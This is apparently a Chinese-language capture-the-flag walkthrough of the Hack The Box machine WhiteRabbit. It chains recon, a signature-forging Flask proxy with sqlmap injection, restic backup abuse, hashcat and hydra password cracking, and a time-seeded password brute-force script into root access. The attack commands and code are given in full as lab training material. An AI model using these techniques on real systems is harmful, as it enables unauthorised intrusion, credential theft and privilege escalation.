nmap -T4 -v -A -Pn 10.10.11.63 -oN whiterabbit.txt

USER

whiterabbit.htb 加入/etc/hosts

port 80 一个渗透测试服务网站

跑一下子域名,全是 302,所以 ffuf 的-fs 过滤一下 size

ffuf -w /home/kali/dict/fuzzDicts/subdomainDicts/dic1.txt -u "http://whiterabbit.htb" -H "HOST:FUZZ.whiterabbit.htb" -c -fs 0

status 子域名,加入/etc/hosts

查看自动跳转到http://status.whiterabbit.htb/dashboard

Uptime Kuma是一个开源的网络服务监控工具

如果抓包,讲 false 改为 true,就能进入后台

但是这个没有什么实际用处,后台所有按钮都是由鉴权的,会让我们重新验证

domain

扫描 status 子域名的目录,我们可以看到一个 status/temp 路径 200

访问可以看见是其他的子域和网站状态

wiki.js:a668910b5514e.whiterabbit.htb

gophish:ddb09a8558c9.whiterabbit.htb

加入/etc/hosts 文件之后,我们查看 wiki.js 我们在 main menu 能看见有一个 gophish webhooks

主要是讲了 gophish 钓鱼和 n8n 结合使用

SQL injection

我们可以在其中看到一个链接附件了已完成工作的 json 文件

http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.json

这里我们还能找到 n8n 的子域

http://28efa8f7df.whiterabbit.htb/

从刚刚下载的工作流中结合 wiki 我们可以知道,gophish 和 n8n 联动可以通过各种行为,对应分数,来进行评分的行为

x-gophish-signature 获取签名,验证签名。签名验证通过之后,就会通过邮箱参数查询用户的分数,并根据相应的行为进行加分

可以使用 python flask 编写一个代理服务器SECRET信息可以在 json 内找到,将我们的请求添加签名和其他信息后转发到n8n 站点

from flask import Flask, request, jsonify
import requests
import json
import hmac
import hashlib

app = Flask(__name__)

SECRET = "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
WEBHOOK_URL = "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d"  # Change as needed

def calculate_hmac(payload: dict) -> str:
    payload_str = json.dumps(payload, separators=(',', ':'))
    signature = hmac.new(SECRET.encode(), payload_str.encode(), hashlib.sha256).hexdigest()
    return signature

@app.route('/', methods=['GET'])
def proxy():
    email = request.args.get('q')
    if not email:
        return jsonify({"error": "Missing 'q' query parameter for email"}), 400

    payload = {
      "campaign_id": 1,
      "email": email,
      "message": "Clicked Link"
    }

    signature = calculate_hmac(payload)

    headers = {
        "Content-Type": "application/json",
        "x-gophish-signature": f"hmac={signature}"
    }
    try:
        response = requests.post(WEBHOOK_URL, headers=headers, json=payload)
        response.raise_for_status()
    except requests.RequestException as e:
        return jsonify({"error": str(e)}), 500

    # Return the response from the endpoint as plain text.
    return response.text

if __name__ == '__main__':
    app.run(port=5000, debug=False)

因为会查询用户,所以用 sqlmap 测试

sqlmap -u 'http://127.0.0.1:5000/?q=test' -p q --level 5 --risk 3 --batch --dbs

直接 dump temp 中的数据

sqlmap -u 'http://127.0.0.1:5000/?q=test' -p q --batch -D temp --dump-all

可以看到一个 75951e6ff.whiterabbit.htb 的域名
然后有一个ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw输出到 restic_passwd
根据文件名推测,可能和 Restic 有关,开源备份工具
然后用工具neo-password-generator生成更新了用户 neo 的密码

Restic

那我们将密码保存一下,然后用restic 从远程备份仓库恢复备份

echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd
restic restore latest --target /home/kali/htb/WhiteRabbit/restored_data --repo rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd

最终我们在restored_data/dev/shm/bob/ssh 目录下可以得到一个 bob.7z 文件

但是这个 7z 文件需要密码

用 7z2john 计算 hash 值,然后 hashcat 爆破(这里 hashcat 要跑好一会儿才行)

7z2john restored_data/dev/shm/bob/ssh/bob.7z
hashcat hash.txt /usr/share/wordlists/rockyou.txt

凭证是:1q2w3e4r5t6y,用来解压 7z 文件

然后我们可以发现里面的 bob 是一个私钥文件,config 中有说明 user 是 bob,port 是 2222,我们之前 nmap 扫描结果也可以证明这一点

直接指定私钥文件连接

ssh -i bob bob@whiterabbit.htb -p 2222

sudo -l 发现可以 root 权限执行 restic

sudo restic

我们接下来利用 sudo 权限让 restic 备份/root 目录,然后自己读取

初始化备份仓库

sudo restic init --repo /tmp/cxk

创建备份

sudo restic -r /tmp/cxk backup /root

列出备份中的文件

sudo restic -r /tmp/cxk ls latest

这里除了常规的,我们可以看见两个/root/morpheus/root/morpheus.pub,这估计是公钥私钥文件

读取一下

sudo restic -r /tmp/cxk dump latest /root/morpheus

猜测正确,保存到本地,用来连接到morpheus 用户

就可以看到 user.txt 了

ROOT

neo-password-generator

在/home 下面可以看到 neo 和 morpheus 两个用户,想到了最开始 sql injection 的时候有发现用程序重置 neo 的密码,我们找到这个程序,在/opt/neo-password-generator

搞出来给 ida 看看

使用 gettimeofday 获取当前时间、调用 generate_password 函数生成随机密码

因为用了当前时间戳来作为种子,我们在 sql injection 的时候可以看到执行更换密码的命令是
2024-8-30 14:40:42,所以我们可以写一个脚本来爆破毫秒的部分所会生成的密码

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
  char cs[]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", pwd[21];
  struct tm tm = { .tm_year = 2024-1900, .tm_mon = 8-1, .tm_mday = 30, .tm_hour = 14, .tm_min = 40, .tm_sec = 42 };
  time_t t = timegm(&tm);
  for(int ms = 0; ms < 1000; ms++){
    srand(t * 1000 + ms);
    for(int i = 0; i < 20; i++) pwd[i] = cs[rand() % 62];
    pwd[20] = '\0';
    printf("%s\n", pwd);
  }
  return 0;
}

保存为 br.c,然后使用 hydra 来进行测试(本来使用 nxc 太慢了)

gcc -o br br.c
./br> pass.txt
hydra -l neo -P pass.txt -t 16 ssh://whiterabbit.htb

凭据:WBSxhWgfnMiclrV4dqfj,密码成功连接到 neo

sudo -l 执行的时候发现可以 root 执行(这里群友说应该是非预期解,后期有空的话会看一下预期解的)

执行sudo su 提权就可以了


"The quieter you become, the more you are able to hear."